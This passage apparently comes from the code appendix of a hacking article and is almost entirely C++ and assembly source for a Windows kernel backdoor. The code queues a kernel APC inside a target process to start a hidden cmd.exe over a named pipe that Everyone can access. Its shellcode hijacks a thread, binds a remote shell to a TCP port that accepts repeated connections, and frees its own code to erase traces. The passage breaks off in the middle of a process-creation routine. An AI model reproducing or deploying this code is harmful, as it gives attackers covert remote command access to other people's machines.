NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER
CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId;
ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2];
VM_COUNTERS VmCounters; SYSTEM_THREADS Threads[1]; }
SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4; }
//Function searches
process with given name. //Writes PID and TID of first thread to ClientId
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId) {
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF;
//Allocate some memory PULONG q =
(PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request
information about processes and threads //until it will fit in allocated
memory. while
(NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation, q, n
* sizeof *q, 0)) { //If it didn't fit - free allocated memory...
NT::ExFreePool(q); n*=2; //... and allocate twice bigger q =
(PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); }
ULONG
MajorVersion; //Request OS version NT::PsGetVersion(&MajorVersion,
NULL, NULL, NULL);
//Copy pointer to SYSTEM_PROCESSES. //copy will
be modified indirectly NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q);
//"process NOT found" - yet BOOL found=0; //Pointer to p will be
used to indirect modify p. //This trick is needed to force compiler to
perform arithmetic operations with p //in bytes, not in sizeof
SYSTEM_PROCESSES units char** pp=(char**)&p; //Process search cycle
do { //If process have nonzero number of threads (0 threads is
abnormal, but possible), //has name, that matches looked for... if
((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE)))
{ //... then copy data about it to variable pointed by ClientId.
//Accounted for different sizeof SYSTEM_PROCESSES in different versions of
NT if (MajorVersion<=4) *ClientId =
((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId; else *ClientId =
p->Threads[0].ClientId; //Set flag "process found" found=1;
//Stop search break; } //No more processes - stop if
(!(p->NextEntryDelta)) break; //Move to next process
*pp+=p->NextEntryDelta; } while(1); //Free memory
NT::ExFreePool(q); //Return "is the process found" flag return
found; }
//Generates named pipe name similar to used by API-function CreatePipe void
MakePipeName(NT::PUNICODE_STRING KernelPipeName) { //For generation of
unrepeating numbers static unsigned long PipeIdx; //pseudorandom number
ULONG rnd; //name template wchar_t *KPNS =
L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x"; //...and it's length in bytes
ULONG KPNL = wcslen(KPNS)+(8-4)*2+1; //String buffer: allocated here,
freed by caller wchar_t *buf;
//Request system timer:
KeQueryInterruptTime is here not for exact //counting out time, but for
generation of pseudorandom numbers rnd = (ULONG)NT::KeQueryInterruptTime();
//Allocate memory for string buf = (wchar_t
*)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2); //Generate name: substitute
numbers o template _snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd); //Write
buffer address and string length to KernelPipeName (initialisation)
NT::RtlInitUnicodeString(KernelPipeName, buf); }
extern "C"
NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN
ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess);
extern NTSTATUS BuildAlowingSD(PVOID *sd);
struct APC_PARAMETERS {
NT::UNICODE_STRING KernelPipeName; ULONG ChildPID; };
//APC
handler, runs in context of given thread void KMApcCallback1(NT::PKAPC Apc,
NT::PKNORMAL_ROUTINE NormalRoutine, PVOID NormalContext, PVOID
SystemArgument1, PVOID SystemArgument2) {
UNREFERENCED_PARAMETER(NormalRoutine);
UNREFERENCED_PARAMETER(NormalContext);
dbgbkpt; //Start process
with redirected I/O, SystemArgument1 is named pipe name
(*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe",
&((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName)); //Free
memory occupied by APC NT::ExFreePool(Apc);
//Signal about APC
processing completion NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0,
TRUE); return; }
//Function starts shell process (cmd.exe) with
redirected I/O. //Returns bidirectional named pipe handle in phPipe
extern "C" ULONG StartShell(PHANDLE phPipe) { //_asm int 3;
HANDLE hProcess=0, hThread; APC_PARAMETERS ApcParameters; //Event of
APC processing completion NT::KEVENT ApcCompletionEvent;
//dbgbkpt;
NT::CLIENT_ID clid; //Look for process to launch shell from it's
context. //That process must be always present in system
if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
return FALSE;}; NT::OBJECT_ATTRIBUTES
attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Get
process handle from it's PID NT::ZwOpenProcess(&hProcess,
PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt;
return FALSE;}; //Get thread handle from it's TID
NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
NT::PKTHREAD ThreadObj; //Get pointer to thread object from it's handle
NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL,
NT::KernelMode, (PVOID*)&ThreadObj, NULL);
NT::PKAPC Apc;
ApcParameters.ChildPID=0;
//Allocate memory for APC Apc =
(NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC));
//Initialize APC dbgbkpt; NT::KeInitializeApc(Apc, ThreadObj,
SPECIAL_KERNEL_MODE_APC, (NT::PKKERNEL_ROUTINE)&KMApcCallback1, //
kernel mode routine 0, // rundown routine 0, // user-mode routine
NT::KernelMode, 0 //context ); //Initialize APC processing
completion event
NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE);
//Generate random unique named pipe name
MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);
PVOID sd; //Access will be read-only without it. //There's a weak
place in the view of security. if (BuildAlowingSD(&sd)) return FALSE;
if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ |
GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE;
NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0);
NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,NULL);
NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName);
NT::ZwClose(hProcess); NT::ZwClose(hThread); return
ApcParameters.ChildPID; }
----[ 8.3 - dummy4.asm
;Exported
symbols - reference points for automated tool ;which generates C code of
hex-encoded string PUBLIC Start PUBLIC EndFile PUBLIC CLID_here
;Debug flag - int 3 in the code DEBUG EQU 1 ;Falg "accept more then
1 connection" MULTIPLE_CONNECT EQU 1 ;Falg "bind to next port, if
current port busy" RETRY_BIND EQU 1
.486 ; processor type .model
flat, stdcall ; model of memory option casemap: none ; disable case
sensivity
; includes for file include Imghdr.inc include w32.inc
include WSOCK2.INC
; structure initializing
;------------------------- sSEH STRUCT OrgEsp dd ? SaveEip dd ?
sSEH ENDS
CLIENT_ID STRUCT UniqueProcess dd ? UniqueThread
dd ? CLIENT_ID ENDS
OBJECT_ATTRIBUTES STRUCT Length dd ?
RootDirectory dd ? ObjectName dd ? Attributes dd ?
SecurityDescriptor dd ? SecurityQualityOfService dd ?
OBJECT_ATTRIBUTES ENDS
;------------------------- .code
;---------------------------------------------- MAX_API_STRING_LENGTH
equ 150 ALLOCATION_GRANULARITY EQU 10000H
;---------------------------------------------- new_section: ;Macro
replaces lea, correcting address for position independency laa MACRO reg,
operand lea reg, operand add reg, FixupDelta ENDM
;The same,
but not uses FixupDelta (autonomous) laaa MACRO reg, operand local
@@delta call $+5 @@delta: sub DWORD PTR [esp], OFFSET @@delta
lea reg, operand add reg, DWORD PTR [esp] add esp,4 ENDM
main proc Start: IFDEF DEBUG int 3 ENDIF
;Code
for evaluating self address delta: pop ebx sub ebx,OFFSET delta
;Allocate place for variables in stack enter SizeOfLocals,0 ;Save
difference between load address and ImageBase mov FixupDelta,ebx
;Tables, where to write addresses of exported functions
KERNEL32FunctionsTable EQU _CreateThread NTDLLFunctionsTable EQU
_ZwOpenThread WS2_32FunctionsTable EQU _WSASocket
;Local variables
local
flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD
=SizeOfLocals assume fs : nothing ;---- get ImageBase of kernel32.dll
---- lea ebx,KERNEL32FunctionsTable push ebx laa
ebx,KERNEL32StringTable push ebx push 0FFFF0000h call
GetDllBaseAndLoadFunctions
lea ebx,NTDLLFunctionsTable push ebx
laa ebx,NTDLLStringTable push ebx push 0FFFF0000h call
GetDllBaseAndLoadFunctions
laa edi, CLID_here push edi assume
edi:ptr OBJECT_ATTRIBUTES lea edi,attr cld mov ecx,SIZE
OBJECT_ATTRIBUTES xor eax,eax rep stosb lea edi,attr
mov[edi].Length,SIZE OBJECT_ATTRIBUTES push edi push
THREAD_ALL_ACCESS lea edi,hThread push edi IFDEF DEBUG int 3
ENDIF call _ZwOpenThread
lea edi, cxt assume edi:ptr CONTEXT
mov [edi].cx_ContextFlags,CONTEXT_FULL
xor ebx,ebx mov
eax,hThread ;there is a thread handle in EAX ;push at once for call many
following functions push edi ; _SetThreadContext push eax ;-)
push eax ; _ZwAlertThread ;-) push edi ; _SetThreadContext push
eax ;-) push edi ; _GetThreadContext push eax call
_GetThreadContext
mov eax,[edi].cx_Eip mov save_eip,eax laa eax,
new_thread mov [edi].cx_Eip, eax
;Self-modify code ;Save EBP to
copy current stack in each new thread laa eax, ebp_value_here mov
[eax],ebp laa eax, ebp1_value_here mov [eax],ebp ;Write addres of
flag, that informs of "create main thread" completion laa eax,
flag_addr_here lea ebx,flag mov [eax],ebx mov flag,0
call
_SetThreadContext ;If thread in wait state, it will not run until it (wait)
ends or alerted call _ZwAlertThread ;not works if wait is nonalertable
;Wait for main thread creation check_flag: call _Sleep,10
cmp flag,1 jnz check_flag
;Restore EIP of interupted thread
mov eax, save_eip mov [edi].cx_Eip, eax call _SetThreadContext
push 0 call _ExitThread
; --- This code executes in
interrupted thread and creates main thread --- new_thread: IFDEF DEBUG
int 3 ENDIF ebp1_value_here_2: mov ebp,0
lab_posle_ebp1_value: ORG ebp1_value_here_2+1 ebp1_value_here:
ORG lab_posle_ebp1_value-main xor eax,eax push eax push eax
push eax laa ebx, remote_shell push ebx push eax push eax
call _CreateThread ;call _Sleep,INFINITE jmp $
remote_shell:
IFDEF DEBUG int 3 ENDIF ebp_value_here_2: mov esi,0
lab_posle_ebp_value: ORG ebp_value_here_2+1 ebp_value_here: ORG
lab_posle_ebp_value-main mov ecx,SizeOfLocals sub esi,ecx mov
edi,esp sub edi,ecx cld rep movsb mov ebp,esp sub
esp,SizeOfLocals
flag_addr_here_2: mov eax,0
lab_posle_flag_addr: ORG flag_addr_here_2+1 flag_addr_here: ORG
lab_posle_flag_addr-main mov DWORD PTR [eax],1
;Load WinSock laa
eax,szWSOCK32 call _LoadLibrary,eax or eax, eax jz quit
;---- get ImageBase of ws2_32.dll ---- ;I'm deviator: load at first,
then as if seek :) lea ebx,WS2_32FunctionsTable push ebx laa
ebx,WS2_32StringTable push ebx push eax call
GetDllBaseAndLoadFunctions
;--- telnet server lea eax,wsadat
push eax push 0101h call _WSAStartup
xor ebx,ebx ;socket
does not suit here! call
_WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx mov sock,eax
mov addr.sin_family,AF_INET mov addr.sin_port,0088h mov
addr.sin_addr,INADDR_ANY
;Look for unused port from 34816 and bind to it
retry_bind: lea ebx,addr call _bind,sock,ebx,SIZE sockaddr_in
IFDEF RETRY_BIND or eax, eax jz l_listen lea edx,addr.sin_port+1
inc byte ptr[edx] cmp byte ptr[edx],0 ;All ports busy... jz quit
jmp retry_bind ENDIF
l_listen: call _listen,sock,1 or
eax, eax jnz quit
ShellCycle:
mov sizeofaddr,SIZE
sockaddr_in lea eax,sizeofaddr push eax lea eax, addr push eax
push sock call _accept mov sock2, eax
RunCmd:
;int 3
;Zero StartInf cld lea edi,StartInf xor eax,eax mov
ecx,SIZE STARTUPINFO rep stosb ;Fill StartInf. Shell will be bound to
socket mov StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW
mov eax, sock2 mov StartInf.hStdOutput,eax mov
StartInf.hStdError,eax mov StartInf.hStdInput,eax mov StartInf.cb,SIZE
STARTUPINFO
;Start shell xor ebx,ebx lea eax,ProcInf push
eax lea eax,StartInf push eax push ebx push ebx push
CREATE_NO_WINDOW push 1 push ebx push ebx laa eax,CmdLine
push eax push ebx call _CreateProcessA
;To avoid hanging
sessions call _closesocket,sock2
IFDEF MULTIPLE_CONNECT jmp
ShellCycle ENDIF
quit: call _closesocket,sock call
_WSACleanup ;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there ;It may
wipe (zero out) stack in future versions push MEM_RELEASE xor ebx,ebx
push ebx push OFFSET Start push ebx push _ExitThread jmp
_VirtualFree main endp
; ------ ROUTINES ------
; returns
NULL in the case of an error GetDllBaseAndLoadFunctions proc uses edi esi,
dwSearchStartAddr:DWORD, FuncNamesTable:DWORD, FuncPtrsTable:DWORD
;---------------------------------------------- local SEH:sSEH,
FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD ; install SEH frame
laaa eax, KernelSearchSehHandler push eax push fs:dword ptr[0]
mov SEH.OrgEsp, esp laaa eax, ExceptCont mov SEH.SaveEip, eax
mov fs:dword ptr[0], esp
; start the search mov edi,
dwSearchStartAddr .while TRUE .if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi add esi, [esi+03Ch] .if dword ptr [esi] ==
IMAGE_NT_SIGNATURE .break .endif .endif ExceptCont: sub edi,
010000h .endw mov dwDllBase,edi mov PEHeader,esi
LoadFunctions: ; get the string length of the target Api mov
edi, FuncNamesTable mov ecx, MAX_API_STRING_LENGTH xor al, al repnz
scasb mov FuncNameEnd,edi mov ecx, edi sub ecx, FuncNamesTable ; ECX
-> Api string length
; trace the export table mov edx, [esi+078h]
; EDX -> Export table add edx, dwDllBase assume edx:ptr
IMAGE_EXPORT_DIRECTORY mov ebx, [edx].AddressOfNames ; EBX ->
AddressOfNames array pointer add ebx, dwDllBase xor eax, eax ; eax
AddressOfNames Index .repeat mov edi, [ebx] add edi, dwDllBase
mov esi, FuncNamesTable push ecx ; save the api string length repz
cmpsb .if zero? add esp, 4 .break .endif pop ecx add
ebx, 4 inc eax .until eax == [edx].NumberOfNames
; did we found
sth ? .if eax == [edx].NumberOfNames jmp ExceptContinue .endif
; find the corresponding Ordinal mov esi,
[edx].AddressOfNameOrdinals add esi, dwDllBase shl eax, 1 add eax,
esi movzx eax,word ptr [eax]
; get the address of the api mov
edi, [edx].AddressOfFunctions shl eax, 2 add eax, dwDllBase add eax,
edi mov eax, [eax] add eax, dwDllBase
mov ecx,FuncNameEnd
mov FuncNamesTable,ecx mov ebx,FuncPtrsTable mov DWORD PTR [ebx],eax
mov esi,PEHeader cmp BYTE PTR [ecx],0 jnz LoadFunctions
Quit: ; shutdown seh frame pop fs:dword ptr[0] add esp, 4
ret ExceptContinue: mov edi, dwDllBase jmp ExceptCont
GetDllBaseAndLoadFunctions endp
KernelSearchSehHandler PROC C
pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD mov eax, pContext
assume eax:ptr CONTEXT sub dword ptr [eax].cx_Edi,010000h mov eax, 0
;ExceptionContinueExecution ret KernelSearchSehHandler ENDP
KERNEL32StringTable: szCreateThread db "CreateThread",0
szGetThreadContext db "GetThreadContext",0 szSetThreadContext db
"SetThreadContext",0 szExitThread db "ExitThread",0 szLoadLibrary db
"LoadLibraryA",0 szCreateProcessA db "CreateProcessA",0 szSleep db
"Sleep",0 szVirtualFree db "VirtualFree",0 db 0
szWSOCK32 db
"WS2_32.DLL",0 WS2_32StringTable: szsocket db "WSASocketA",0 szbind
db "bind",0 szlisten db "listen",0 szaccept db "accept",0
szWSAStartup db "WSAStartup",0 szclosesocket db "closesocket",0
szWSACleanup db "WSACleanup",0 db 0
NTDLLStringTable:
szZwOpenThread db "ZwOpenThread",0 szZwAlertThread db "ZwAlertThread",0
db 0
CmdLine db "cmd.exe",0
ALIGN 4 CLID_here CLIENT_ID
<0>
;----------------------------------------------
EndFile:
end Start
----[ 8.4 -
NebbetCreateProcess.cpp
#include <ntdll.h> #include
"DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h" extern "C" {
#include "SECSYS.H" }
namespace NT {
typedef struct
_CSRSS_MESSAGE{ ULONG Unknwon1; ULONG Opcode; ULONG Status;
ULONG Unknwon2; }CSRSS_MESSAGE,*PCSRSS_MESSAGE;
}
DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory) DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread) DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess) DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory) DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)
//Dynamic import of functions
exported from ntdll.dll extern "C" void LoadFuncs() { static PVOID
pNTDLL; if (!pNTDLL) { pNTDLL=FindNT();
DYNAMIC_LOAD2(CsrClientCallServer)
DYNAMIC_LOAD2(RtlDestroyProcessParameters)
DYNAMIC_LOAD2(ZwWriteVirtualMemory) DYNAMIC_LOAD2(ZwResumeThread)
DYNAMIC_LOAD2(ZwCreateThread) DYNAMIC_LOAD2(ZwProtectVirtualMemory)
DYNAMIC_LOAD2(ZwCreateProcess) DYNAMIC_LOAD2(ZwRequestWaitReplyPort)
DYNAMIC_LOAD2(ZwReadVirtualMemory) DYNAMIC_LOAD2(ZwCreateNamedPipeFile)
DYNAMIC_LOAD2(LdrGetDllHandle) } }
//Informs CSRSS about new
win32-process VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid,
ULONG tid) { // _asm int 3; struct CSRSS_MESSAGE { ULONG
Unknown1; ULONG Opcode; ULONG Status; ULONG Unknown2; };
struct { NT::PORT_MESSAGE PortMessage; CSRSS_MESSAGE
CsrssMessage; PROCESS_INFORMATION ProcessInformation; NT::CLIENT_ID
Debugger; ULONG CreationFlags; ULONG VdmInfo[2]; } csrmsg = {{0},
{0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW*/, {0}};
CsrClientCallServer(&csrmsg, 0,
0x10000, 0x24); }
//Initialse empty environment PWSTR
InitEnvironment(HANDLE hProcess) { PVOID p=0; DWORD dummy=0;
DWORD n=sizeof(dummy); DWORD m; m=n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m, MEM_COMMIT,
PAGE_READWRITE); ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
return PWSTR(p); }
// Clone of
Ntdll::RtlCreateProcessParameters... VOID
RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp, NT::PUNICODE_STRING
ImageFile, NT::PUNICODE_STRING DllPath, NT::PUNICODE_STRING
CurrentDirectory, NT::PUNICODE_STRING CommandLine, ULONG CreationFlag,
NT::PUNICODE_STRING WindowTitle, NT::PUNICODE_STRING Desktop,
NT::PUNICODE_STRING Reserved, NT::PUNICODE_STRING Reserved2){
NT::PROCESS_PARAMETERS* lpp;
ULONG
Size=sizeof(NT::PROCESS_PARAMETERS); if(ImageFile)
Size+=ImageFile->MaximumLength; if(DllPath)
Size+=DllPath->MaximumLength; if(CurrentDirectory)
Size+=CurrentDirectory->MaximumLength; if(CommandLine)
Size+=CommandLine->MaximumLength; if(WindowTitle)
Size+=WindowTitle->MaximumLength; if(Desktop)
Size+=Desktop->MaximumLength; if(Reserved)
Size+=Reserved->MaximumLength; if(Reserved2)
Size+=Reserved2->MaximumLength;
//Allocate the buffer..
*pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size);
lpp=*pp; RtlZeroMemory(lpp,Size);
lpp->AllocationSize=PAGE_SIZE;
lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added
(if any) lpp->hStdInput=0; lpp->hStdOutput=0;
lpp->hStdError=0; if(CurrentDirectory){
lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDirectory->Length);
lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CurrentDirectory->MaximumLength; } if(DllPath){
lpp->DllPath.Length=DllPath->Length;
lpp->DllPath.MaximumLength=DllPath->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length);
lpp->DllPath.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=DllPath->MaximumLength; } if(ImageFile){
lpp->ImageFile.Length=ImageFile->Length;
lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length);
lpp->ImageFile.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=ImageFile->MaximumLength; } if(CommandLine){
lpp->CommandLine.Length=CommandLine->Length;
lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Length);
lpp->CommandLine.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CommandLine->MaximumLength; } if(WindowTitle){
lpp->WindowTitle.Length=WindowTitle->Length;
lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Length);
lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=WindowTitle->MaximumLength; } if(Desktop){
lpp->Desktop.Length=Desktop->Length;
lpp->Desktop.MaximumLength=Desktop->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length);
lpp->Desktop.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Desktop->MaximumLength; } if(Reserved){
lpp->Reserved2.Length=Reserved->Length;
lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length);
lpp->Reserved2.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved->MaximumLength; } /* if(Reserved2){
lpp->Reserved3.Length=Reserved2->Length;
lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length);
lpp->Reserved3.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved2->MaximumLength; }*/ }
VOID
CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb, NT::PUNICODE_STRING
ImageFile, HANDLE hPipe) { NT::PPROCESS_PARAMETERS pp;
NT::UNICODE_STRING CurrentDirectory; NT::UNICODE_STRING DllPath;
NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\");
NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\");
RtlCreateProcessParameters(&pp, ImageFile,
&DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);
pp->hStdInput=hPipe; pp->hStdOutput=hPipe;//hStdOutPipe;
pp->hStdError=hPipe;//hStdOutPipe;
pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;
pp->Environment =
InitEnvironment(hProcess);
ULONG n = pp->Size; PVOID p = 0;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT,
PAGE_READWRITE);
ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);
ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);
RtlDestroyProcessParameters(pp); }
namespace NT { extern
"C" { DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev); BOOL
WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID); }}
NTSTATUS
BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor) { //_asm int
3; SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY,
SECURITY_WORLD_RID}; SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY,
SECURITY_LOCAL_SYSTEM_RID}; char daclbuf[PAGE_SIZE]; NT::PACL dacl =
(NT::PACL)&daclbuf; char sdbuf[PAGE_SIZE]; NT::PSECURITY_DESCRIPTOR
sd = &sdbuf;
NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE,
ACL_REVISION); if (!NT_SUCCESS(status)) return status; status =
NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS,
&SeWorldSid); if (!NT_SUCCESS(status)) return status;
RtlZeroMemory(sd, PAGE_SIZE); status =
NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION); if
(!NT_SUCCESS(status)) return status; status =
RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE); if
(!NT_SUCCESS(status)) return status; status =
NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE); if
(!NT_SUCCESS(status)) return status; if
(!NT::RtlValidSecurityDescriptor(sd)) { _asm int 3; }
//To try!
ULONG buflen = PAGE_SIZE*2; *pSecurityDescriptor =
NT::ExAllocatePool(NT::PagedPool, buflen); if (!*pSecurityDescriptor) return
STATUS_INSUFFICIENT_RESOURCES; return RtlAbsoluteToSelfRelativeSD(sd,
*pSecurityDescriptor, &buflen); }
#define PIPE_NAME_MAX 40*2
extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING
PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG
ShareAccess) { NT::IO_STATUS_BLOCK iosb;
NT::OBJECT_ATTRIBUTES
attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd}; NT::LARGE_INTEGER
nTimeOut; nTimeOut.QuadPart = (__int64)-1E7; return
ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE |
FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess, FILE_CREATE, 0,
FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut); }
int
exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName) {
HANDLE hProcess, hThread, hSection, hFile;
//_asm int 3;
NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
NT::IO_STATUS_BLOCK iosb; NT::ZwOpenFile(&hFile, FILE_EXECUTE |
SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
PAGE_EXECUTE, SEC_IMAGE, hFile);
NT::ZwClose(hFile);
ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
NtCurrentProcess(), TRUE, hSection, 0, 0);
NT::SECTION_IMAGE_INFORMATION sii; NT::ZwQuerySection(hSection,
NT::SectionImageInformation, &sii, sizeof sii, 0);
NT::ZwClose(hSection);
NT::USER_STACK stack = {0};
ULONG
n = sii.StackReserve; NT::ZwAllocateVirtualMemory(hProcess,
&stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE);
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom) +
sii.StackReserve; stack.ExpandableStackLimit =
PCHAR(stack.ExpandableStackBase) - sii.StackCommit;
/*
PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on
stack*/ n = sii.StackCommit + PAGE_SIZE; PVOID p =
PCHAR(stack.ExpandableStackBase) - n; NT::ZwAllocateVirtualMemory(hProcess,
&p, 0, &n, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ULONG x; n =
PAGE_SIZE; ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
NT::CONTEXT context =
{CONTEXT_FULL}; context.SegGs = 0; context.SegFs = 0x38;
context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20;
context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp =
